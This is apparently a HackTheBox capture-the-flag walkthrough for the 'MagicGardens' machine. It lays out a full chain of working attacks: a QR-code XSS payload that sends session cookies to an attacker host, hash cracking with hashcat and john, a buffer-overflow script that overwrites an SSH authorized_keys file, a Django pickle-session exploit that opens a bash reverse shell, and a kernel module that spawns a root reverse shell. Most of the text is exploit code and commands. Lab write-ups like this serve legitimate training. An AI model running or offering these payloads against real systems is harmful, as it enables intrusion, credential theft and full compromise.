HackTheBox MagicGardens Writeup
Explore the fundamentals of cybersecurity in the MagicGardens Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.9 magicgardens.htb
Script to add hosts automatically
ip="10.10.11.9"
domain="magicgardens.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV magicgardens.htb
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.063s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp filtered smtp
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Magic Gardens
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Foothold via XSS
- Go to http://magicgardens.htb and register.
- Navigate to http://magicgardens.htb/profile/?tab=subscription, click “Upgrade”, and select
honestbank.htb. - Capture the request, modify the “Bank” parameter to your local IP (YOUR_IP):8000, and start a local server:
python -m http.server 8000
- Test the original server’s response:
curl http://honestbank.htb/api/payments/
- Simulate a POST request:
curl http://honestbank.htb/api/payments/ -X POST -d '{"cardname":"sun", "cardnumber":"12345678901"}'
- Close the server and run a Flask server:
from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/api/payments/', methods=['POST'])
def handle_payment():
req_json = request.get_json()
req_json['status'] = "200"
print(req_json)
return jsonify(req_json)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Intercept the request, set
bank=YOUR_IP:8000, and forward requests with Burp. Disable intercept refresh the page and buy a flower with the vip subscription.Extract and scan the QR code using
zbartools like qrscan.
QR content:
2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.pwn@pwn.com
- Replace
vpn-ipand QR ID in the payload and generate a malicious QR code:
Server to retrive the coockies:
python -m http.server 8000
import qrcode
data = '''2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://vpn-ip:8000/?cookie="+btoa(document.cookie);</script><p>'''
qr = qrcode.QRCode(box_size=10, border=4)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save("evilqr.png")
- Send the malicious QR code in response to the message received from Morty after buying a flower. Once you get the response, decode the Base64-encoded cookie:
echo -n "Base64 of the Cookies? "; read payload
echo $payload | base64 -d
- Use the cookie
sessionidin your browser and access:
http://magicgardens.htb/admin/store/storeuser/morty/change/
You will find the hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=.
Brute Force the Hash
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 10000 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
You will find the credentials for jonasbrothers.
To SSH into the target as Morty, use the following command:
ssh morty@magicgardens.htb
Discovering Harvest Buffer Overflow
Target Machine:
- Start HTTP server on port 8008:
cd /
python3 -m http.server 8008
Local Machine:
- Download and prepare
harvestbinary:
wget http://magicgardens.htb:8008/usr/local/bin/harvest
chmod +x ./harvest
sudo ./harvest server
Testing and Exploitation:
Initial Testing:
- Send test payload:
echo "test" | nc 127.0.0.1 1337 - Expected result:
[x] Handshake error - Send correct version:
echo "harvest v1.0.3" | nc 127.0.0.1 1337 - This indicates a successful handshake.
- Send test payload:
Reversing and Exploitation:
- Vulnerability observed in
strcmpfunction not limiting buffer size. - Monitor file operations:
strace -t -e trace=openat ./harvest server -l save.txt - Buffer Overflow Attack Script:
import socket server_address = ('::1', 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data = b'A'*65500 s.send(data) - Generate and use a pattern to accurately target memory:
python -c "from pwn import *; open('bof.txt','w').write(cyclic(65500).decode())" - Use the generated pattern:
import socket server_address = ('::1', 6666) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) with open('bof.txt', 'rb') as f: data = bytearray(f.read()) s.send(data[:65372] + b"/tmp/name.txt") s.close() - Check for successful exploit:
cat /tmp/name.txt - Find the pattern offset:
python -c "from pwn import *; print(cyclic_find(b'daaa'))" - The offset identified (
12) is crucial for crafting an effective exploit.
- Vulnerability observed in
From Morty to Alex: Buffer Overflow in Harvest v1.0.3
Generate the SSH key on your local machine
ssh-keygen -f ./key
This will generate a key pair and save it as ./key (private key) and ./key.pub (public key).
Display the public key on your local machine
cat ./key.pub
Send a message to the vulnerable service on the target
echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337
Open a Python REPL on the target
python3
Paste the following code into the Python REPL and adjust the SSH Public key (key) as needed:
import socket
server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = bytearray(b'\n' * 65403)
key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEICRuVTVFybA8QCIqNV+IU2oYS8kDu9W/ASXOkwHUxw e@Arch'
replace = b"/home/alex/.ssh/authorized_keys"
sendData = data[:65372] + replace
sendData[12:12 + len(key)] = key.encode()
s.send(sendData)
SSH into the target using the generated private key
ssh -i ./key alex@magicgardens.htb
Once connected, read the contents of the files
cat /home/alex/user.txt
cat /var/mail/alex
We get
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
Unzip the zip
On Your Local Machine
Make sure everything is on one line or it will not work with the read command
echo -en "Zip Content? "; read zip
echo $zip | base64 -d > auth.zip
zip2john auth.zip > auth.hash
john --wordlist=/usr/share/dict/rockyou.txt auth.hash
john auth.hash --show
Unzip and Read the Contents:
unzip auth.zip
cat htpasswd
Brute Force the Hash
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
https://github.com/Syzik/DockerRegistryGrabber
git clone https://github.com/Syzik/DockerRegistryGrabber
cd DockerRegistryGrabber
python drg.py https://magicgardens.htb -U AlexMiles -P diamonds --dump magicgardens.htb
It will take a while; once finished, proceed to extract all registers.
cd magicgardens.htb
for file in $(zgrep -la morty *.tar.gz); do
tar -xzf "$file"
done
cat ./usr/src/app/.env
Save this script in your local machine as exploit.py. It generates a malicious session to execute a reverse shell.
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
import base64
import subprocess
import os
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
def get_tun0_ip():
return subprocess.check_output("ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True).decode().strip()
def generate_reverse_shell(ip, port=9001):
return base64.b64encode(f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1'".encode()).decode()
class CreateTmpFile(object):
def __reduce__(self):
return (subprocess.call, (['bash', '-c', f'echo {generate_reverse_shell(get_tun0_ip())} | base64 -d | bash'],))
def create_malicious_session():
return signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies')
def set_session_cookie(session_id):
requests.get("http://magicgardens.htb/admin/login/?next=/admin/", cookies={'sessionid': session_id})
def curl_with_session_cookie(session_id):
os.system(f"curl -b 'sessionid={session_id}' http://magicgardens.htb/admin/login/?next=/admin/")
if __name__ == "__main__":
session_cookie = create_malicious_session()
set_session_cookie(session_cookie)
curl_with_session_cookie(session_cookie)
Note: The exploits require the Django package (pip install django==3.2) to work. The latest version (5.1.2) does not include django.contrib.sessions.serializers.
- Make sure you have a listener ready:
nc -lvnp 9001
- Run the Python exploit:
python exploit.py
Your listener is now connected to the Docker container inside the target.
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
Privilege Escalation Using Linux Capabilities
Check Current Linux Capabilities
You can check your current capabilities using capsh. Here’s an example output:
capsh --print
Example Output:
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
You can learn more about Linux capabilities and their privilege escalation potential here.
Kernel Module: Reverse Shell
The following reverse-shell.c code is an example of a loadable kernel module (LKM) that spawns a reverse shell:
Code: reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
Below is the corresponding Makefile for compiling the kernel module:
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(pwd) clean
All in one command
Local (Listener):
nc -lp 12345 > reverse-shell.ko
Ssh (Compile, Send File):
ssh -i ./key alex@magicgardens.htb
cd /tmp
cat << EOF > reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF
echo -e "obj-m += reverse-shell.o\nall:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) modules\nclean:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) clean" > Makefile
make
cat reverse-shell.ko > /dev/tcp/<vpnip>/12345
Local:
Start a Python HTTP Server: Host the
reverse-shell.kofile so it can be downloaded by the container:python3 -m http.server 8000Set Up a Netcat Listener: Open another terminal and start a listener to catch the reverse shell:
nc -lvnp 4444
Target Container:
- Download the Kernel Module:
Use
wgetto fetch thereverse-shell.kofile from your local machine:
wget http://<your-local-ip>:8000/reverse-shell.ko
- Load the Kernel Module: Insert the module to trigger the reverse shell:
insmod reverse-shell.ko
- Access the root flag: Once the reverse shell is established, you can execute commands on the target machine. For example, retrieve the root flag:
cat /root/root.txt